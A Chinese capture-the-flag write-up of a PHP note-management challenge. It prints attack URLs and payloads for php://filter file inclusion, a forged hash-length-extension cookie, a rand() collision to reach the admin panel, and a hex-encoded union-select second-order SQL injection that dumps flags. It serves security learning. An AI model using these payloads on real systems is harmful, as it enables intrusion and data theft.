xnuca2017训练题-最安全的笔记管理系统writeup

简介

这道题目貌似在很多地方出过,但不妨碍这是一道很好的题目。参照者大佬们的writeup,和4ct10n做了两天,最终搞定了这道题目。整道题目做下来,学习到了很多知识,包括文件包含、任意文件读取、hash扩展长度攻击、rand()碰撞以及SQL二次注入知识点。
本篇文章会详细地记录下我做本题过程中的思考过程。
题目的地址:http://218.76.35.74:20128
题目代码: https://github.com/wonderkun/CTF_web/tree/master/web500-2

分析

经过简单的使用发现这是一个小型的类似文章管理系统的应用。登录之后,发现有一条提示:

这是管理员发布的测试笔记,个人无法删除(hint:./dbinit.sql)

下载数据库文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
CREATE DATABASE `taolu` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
drop table if exists `user`;
create table `user`(
`id` int(11) not null primary key auto_increment,
`uname` varchar(20) not null,
`password` varchar(32) not null,
`level` tinyint not null
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

drop table if exists `note`;
create table `note` (

`id` int(11) not null primary key auto_increment,
`content` varchar(255) not null,
`title` varchar(255) not null,
`userid` int(11) not null
) ENGINE=InnoDB DEFAULT CHARSET=utf8 ;

drop table if exists `page` ;

create table `page` (
`num` varchar not null
)ENGINE=InnoDB DEFAULT CHARSET=utf8;


drop table if exists `flags`;

create table `flags` (

`id` tinyint not null primary key ,
`flag` varchar(50) not null
)ENGINE=InnoDB DEFAULT CHARSET=utf8;


insert into `page` values (20);
insert into `note` (title,content,userid)values(
'测试笔记','这是管理员发布的测试笔记,个人无法删除(hint:./dbinit.sql)',1
)

给了数据库文件,说明题目可能与SQL注入有关。

SQL注入?

用户名截断?
起初以为在用户注册登录的地方存在用户名的截断注入。后来发现仅仅只是存在截断并没有注入。
发布笔记XSS或者SQL注入?
经测试,发现发帖的地方使用了htmlspecicalchars()函数,显示笔记的地方不存在XSS和SQL注入。
删除笔记注入?
删除笔记的URL为http://218.76.35.74:20128/index.php?action=front&mode=delete&id=225&TOKEN=y3LZb5nxVDEW1DnO,猜测id存在可能存在SQL注入。
经过一番尝试,发现并不存在报错注入。
尝试延时注入:

1
2
http://218.76.35.74:20128/index.php?action=front&mode=delete&id=225 and if(1,sleep(10),sleep(10))&TOKEN=y3LZb5nxVDEW1DnO
http://218.76.35.74:20128/index.php?action=front&mode=delete&id=225' and if(1,sleep(10),sleep(10))#&TOKEN=y3LZb5nxVDEW1DnO

发现延时注入并没有作用。后来猜测,可能后台使用了intval()将id转换为了数字,所以不存在注入了。

文件包含漏洞

观察网站的URL格式

1
2
3
4
http://218.76.35.74:20128/index.php?action=front&mode=login
http://218.76.35.74:20128/index.php?action=front&mode=index
http://218.76.35.74:20128/index.php?action=front&mode=newnote
http://218.76.35.74:20128/index.php?action=front&mode=delete&id=1&TOKEN=XKZwGKRhADreGEcs

如果是直接按照路径访问:

1
http://218.76.35.74:20128/front/login.php

页面出现permission denied!
猜测整个页面从index.php中进入,index.php的写法如下:

1
include($action.'/'.$mode.'.php')

通过php://filter协议验证想法。

依次读取其他的文件

1
2
3
http://218.76.35.74:20128/index.php?action=php://filter/read=convert.base64-encode/resource=./front&mode=index
http://218.76.35.74:20128/index.php?action=php://filter/read=convert.base64-encode/resource=./front&mode=login
...

由于数据库中存在admin,那么就说明后台可能存在admin的后台,(好像也可以通过目录扫描的方式发现后台地址)。尝试访问:

1
2
http://218.76.35.74:20128/index.php?action=admin&mode=login
http://218.76.35.74:20128/index.php?action=admin&mode=index

存在admin后台,读取文件。
至此就读取了系统的大部分文件了。

利用点

Hash扩展长度攻击?

通过观察源代码,发现其中还存在一些其他的文件。
common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<?php

include_once("config.inc.php");

function rand_str($lenth=16){
$rand=[];
$_str="qwertyuiopasdfghjklzxcvbnm0123456789QWERTYUIOPASDFGHJKLZXCVBNM";
while($lenth){
$rand[]=$_str[rand(0,strlen($_str)-1)];
$lenth--;
}
// var_dump($rand);

return implode($rand);
}

// echo rand_str();

if(!isset($_SESSION['SECURITY_KEY'])){

$_SESSION['SECURITY_KEY']=rand_str(6);

}
if(!isset($_SESSION['CSRF_TOKEN'])){
$_SESSION['CSRF_TOKEN']=rand_str(16);

}

if(!isset($_SESSION['level'])){

$_SESSION['level']=null;
}


if(!isset($_SESSION['userid'])){
$_SESSION['userid']=null;
}



function mysql_my_query($sql){
global $conn;
$res=$conn->query($sql) or die("查询数据库出错!");

return $res;

}

function encode($str){
return md5($_SESSION['SECURITY_KEY'].$str);

}

function set_login($uname,$id,$level){
$_SESSION['userid']=$id;
$_SESSION['level']=$level;

$endata=encode($uname);
setcookie("uid","$uname|$endata");

}

function check_login(){

$uid=$_COOKIE['uid'];
$userinfo=explode("|",$uid);

if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
return $_SESSION['userid'];

}else{

return FALSE;

}

}

function get_level(){

$uid=$_COOKIE['uid'];
$userinfo=explode("|",$uid);

if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){

if($_SESSION['level']!=="0"){

return $_SESSION['level'];
}else{
return FALSE;

}
}else{

return FALSE;
}

}

// var_dump($_SESSION);

function get_page_size(){

$sql="select num from page";
$res=mysql_my_query($sql);
$row=$res->fetch_assoc();
return $row['num'];
}

function set_page_size(){

$sql="update page set num=20";
$res=mysql_my_query($sql);

}

function get_uname($userid){

$sql="select uname from user where id='$userid'";
$res=mysql_my_query($sql);
$row=$res->fetch_assoc();
return htmlspecialchars($row['uname']);

}

其中检验用户登录的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function check_login(){

$uid=$_COOKIE['uid'];
$userinfo=explode("|",$uid);
if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
return $_SESSION['userid'];
}else{
return FALSE;
}
}

function encode($str){
return md5($_SESSION['SECURITY_KEY'].$str);

}

$_SESSION['SECURITY_KEY']在会话建立之后就会创建,使用的是md5()的方式进行验证的,可能存在Hash扩展长度攻击。Hash扩展长度可以的破解参考哈希长度扩展攻击的简介以及HashPump安装使用方法
注册一个名为ppp的用户,登录之后,得到uid为ppp%7C095a29f74eb45f190a5b56561a356c73,urldecode之后为ppp|095a29f74eb45f190a5b56561a356c73。题目中的hash值为:

1
hash_value = md5(uname+Key)

其中,我们已经知道hash_value、uname以及key的长度,满足Hash扩展长度攻击的条件。
使用HashPump来完成Hash扩展长度攻击:
利用hashdump生成新的hash值
得到的hash值需要将其中的\x00编码为%00.
那么hash扩展长度攻击中新的uidppp%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00H%00%00%00%00%00%00%00admin%7Cbf9f45c5e7e1aec86a57f04949891f53

分析程序代码,判断Hash扩展长度能否攻击成功。
观察admin\inde.php的验证方法:

1
2
3
4
5
6
7
8
9
10
11
$userid=check_login();
$level=get_level();
if($userid!==false&&$level!==false){
$page_size=get_page_size();
//默认仅仅显示 前$page_size条数据
$sql="select * from note limit 0,".$page_size;
$result=mysql_my_query($sql);

set_page_size(); #设置default page size

}

在admin中仅仅验证了useridlevel是否是否存在,但是没有对值进行校验,说不定就可以被绕过。

接下来看一下check_login()get_level()的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// check_login的主要代码如下:
function check_login(){

$uid=$_COOKIE['uid'];
$userinfo=explode("|",$uid);

if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
return $_SESSION['userid'];

}else{

return FALSE;

}

}

// get_level的主要代码如下:
function get_level(){

$uid=$_COOKIE['uid'];
$userinfo=explode("|",$uid);

if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){

if($_SESSION['level']!=="0"){

return $_SESSION['level'];
}else{
return FALSE;

}
}else{

return FALSE;
}

}

通过之前的分析,check_login()

1
2
3
4
if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
return $_SESSION['userid'];

}

因为hash扩展长度攻击可以被绕过,返回$_SESSION['userid']得到就是用户ppp的uid。
get_level()

1
2
3
4
5
6
if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
if($_SESSION['level']!=="0"){
return $_SESSION['level'];
}else{
return FALSE;
}

由于用户ppp中的level为0,返回FALSE。如果不存在SESSION,因为NULL !== '0'返回False,所以最终返回的也是FALSE.
本地测试结果:
get_level无法绕过
所以综合分析和本地测试发现,虽然可以利用hash扩展长度攻击,但是无法绕过get_level()函数,因此就无法使用admin的账户登录。

rand()碰撞

rand()碰撞貌似在去年时候研究得比较多,关于hash扩展长度的原理,本篇文章就不作说明了,有兴趣可以去读php的随机数的安全性分析译-Cracking PHP rand()-token 能破解吗? 安全箱子的秘密。但是rand()碰撞的漏洞需要在Linux环境下的特定PHP版本(具体到PHP的版本,还没有研究)之前才会出现,所以如果web应用部署在Windows服务器上面,就不存在rand()碰撞的问题。
rand()碰撞时需要使用HTTP1.1协议保持Keep-Alive。如果在使用Python编写rand()碰撞时,采用requests,利用s = requests.Session(),即可保持Keep-Alive。
由于rand()碰撞代码较长,就不在这里贴了,可以前往rand()碰撞脚本下载。
需要注意的是,rand()碰撞可能需要一次或者是多次才可以成功。碰撞的效果如下:
rand()碰撞结果
将得到的uid加入到Cookie中即可以admin登录到后台

SQL二次注入

进入到admin后台,发现存在setpagenum.php文件,主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if(isset($_POST['page'])&&isset($_POST['TOKEN'])){
$page=$_POST['page'];
$TOKEN=$_POST['TOKEN'];

if($TOKEN!=$_SESSION['CSRF_TOKEN']){
die("token error!");
}

if(!is_numeric($page)){
die("page must be a number!");
}
if($page<1) $page=1;

$sql="update page set num=$page";
$res=mysql_my_query($sql);
if($res){
echo "<script>alert('update success!');</script>";
echo("<script>location.href='./index.php?action=admin&mode=index'</script>");

}else{
echo "<script>alert('update fail!');</script>";
die();
}
}

使用了is_numeric()函数对$page进行过滤,但使用十六进制就可以绕过(在PHP7中已经修复)。
表page的结构如下:

1
2
3
create table `page` (
`num` varchar not null
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

page是varchar类型,使用十六机制可以顺利插入。插入之后,接下来就是找注入点了。
admin\index.php中的部分代码如下:

1
2
3
4
5
6
$page_size=get_page_size();
//默认仅仅显示 前$page_size条数据
$sql="select * from note limit 0,".$page_size;
$result=mysql_my_query($sql);

set_page_size(); #设置default page size

"select * from note limit 0,".$page_size;语句存在SQL注入。

POC

10 union select null,flag,null,null from flags编码成为十六进制提交,即可拿到flag。

总结

通过这个题目学习到了很多新的知识,但是其中还有很多其他的知识值得深入的学习,包括文件包含漏洞、PHP的伪协议、Python代码的编写。以下是一些参考文章php 伪协议php://filter协议文件包含的漏洞。要学习的地方还有很多。

给大佬们递茶

哈希长度扩展攻击的简介以及HashPump安装使用方法
http keep-alive&&php rand
安全箱子的秘密
php的随机数的安全性分析
译-Cracking PHP rand()-token 能破解吗?